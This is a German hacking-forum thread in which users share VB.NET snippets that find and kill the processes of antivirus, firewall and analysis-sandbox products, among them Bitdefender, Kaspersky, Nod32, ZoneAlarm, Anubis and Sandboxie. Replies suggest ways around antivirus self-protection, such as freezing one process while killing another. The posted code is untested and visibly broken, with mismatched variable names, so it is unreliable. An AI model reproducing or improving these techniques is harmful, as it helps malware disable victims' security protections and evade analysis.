Vb.Net Anti Anubis, Outpost, Norman, Bitdefender, Kaspersky, Nod32, ZoneAlarm

[sunny-boy3]

So habe hier noch nen guten Source hoffe er hilft jemanden von euch --------------------------------------------------------------------- 'Anti Anubis
Dim Anubis As Process() = Process.GetProcesses
Dim a As Integer
For a = 0 To Anubis.Length - 1
Debug.WriteLine(Anubis(a).ProcessName)
If Strings.UCase(Anubis(a).ProcessName) = Strings.UCase("Anubis") Then
Anubis(a).Kill()
End If
Next

----------------------------------------------------------------------
'Anti Outpost
Dim outpost As Process() = Process.GetProcesses
Dim o As Integer
For o = 0 To outpost.Length - 1
Debug.WriteLine(outpost(o).ProcessName)
If Strings.UCase(outpost(o).ProcessName) =Strings.UCase("outpost")Then
outpost(o).Kill()
End If
Next

----------------------------------------------------------------------
'Anti Norman
Dim norman As Process() = Process.GetProcesses
Dim n As Integer
For n = 0 To norman.Length - 1
Debug.WriteLine(norman(n).ProcessName)
If Strings.UCase(outpost(n).ProcessName)=Strings.UCas e("npfmsg") Then
norman(n).Kill()
End If
Next
----------------------------------------------------------------------

'Anti Bitdefender
Dim bit As Process() = Process.GetProcesses
Dim b As Integer
For b = 0 To bit.Length - 1
Debug.WriteLine(bit(b).ProcessName)
If Strings.UCase(bit(b).ProcessName) =Strings.UCase("bdagent") Then
bit(b).Kill()
End If
Next
-----------------------------------------------------------------------
'Anti Kaspersky
Dim persky As Process() = Process.GetProcesses
Dim p As Integer
For p = 0 To persky.Length - 1
Debug.WriteLine(perky(p).ProcessName)
If Strings.UCase(perky(p).ProcessName) =Strings.UCase("kavsvc") Then
perky(p).Kill()
End If
Next
-----------------------------------------------------------------------
'Anti Nod32
Dim nod As Process() = Process.GetProcesses
Dim n As Integer
For o = 0 To nod.Length - 1
Debug.WriteLine(nod(n).ProcessName)
If Strings.UCase(nod(n).ProcessName)=Strings.UCase("egui") Then
nod(n).Kill()
End If
Next
-----------------------------------------------------------------------
'Anti Zonealarm
Dim zone As Process() = Process.GetProcesses
Dim z As Integer
For o = 0 To zone.Length - 1
Debug.WriteLine(zone(z).ProcessName)
If Strings.UCase(zone(z).ProcessName)=Strings.UCase("zlclient") Then
zone(z).Kill()
End If
Next
-----------------------------------------------------------------------
müßte so klappen habe es nicht ausprobiert

[inmate]

Nod32 wird nicht funzen , da es n schutz hat .

Würde auch theorethisch einfacher gehen


for each Sandboxie in process.getprozessbyname("sandbox.exe") Sandboxie.kill
next


Aber trotzdem ganz nice ;)

mfG

[Kaspersky]

fast jedes antivir hat heutzutage einen selbstschutz, also staret sich unmittelbar selbst.

[inmate]

Ja aber ich meine das man die Prozesse von AV´s nicht killen kann ;)

[sunny-boy3]

Nod32 wird nicht funzen , da es n schutz hat .

Würde auch theorethisch einfacher gehen


for each Sandboxie in process.getprozessbyname("sandbox.exe") Sandboxie.kill
next
Aber trotzdem ganz nice ;)

mfG


Definierungen gäbe es viele is janur eine möglichkeit

[inout]

Mach Dir mal 'ne ordentliche Funktion, die den Prozessnamen als Parameter erhält und pack' die Prozessnamen in eine Liste oder ein Array. Das sieht ja schlimm aus.

[Kaspersky]

Ja aber ich meine das man die Prozesse von AV´s nicht killen kann

Doch kann man, aber zb kaspersky läuft zweimal, das startet sich immer instant wieder selbst.

[hackerking]

Dann freezt man halt einen prozess und killt unmittelbar darauf (oder gleichzeitig mit thread) den anderen :P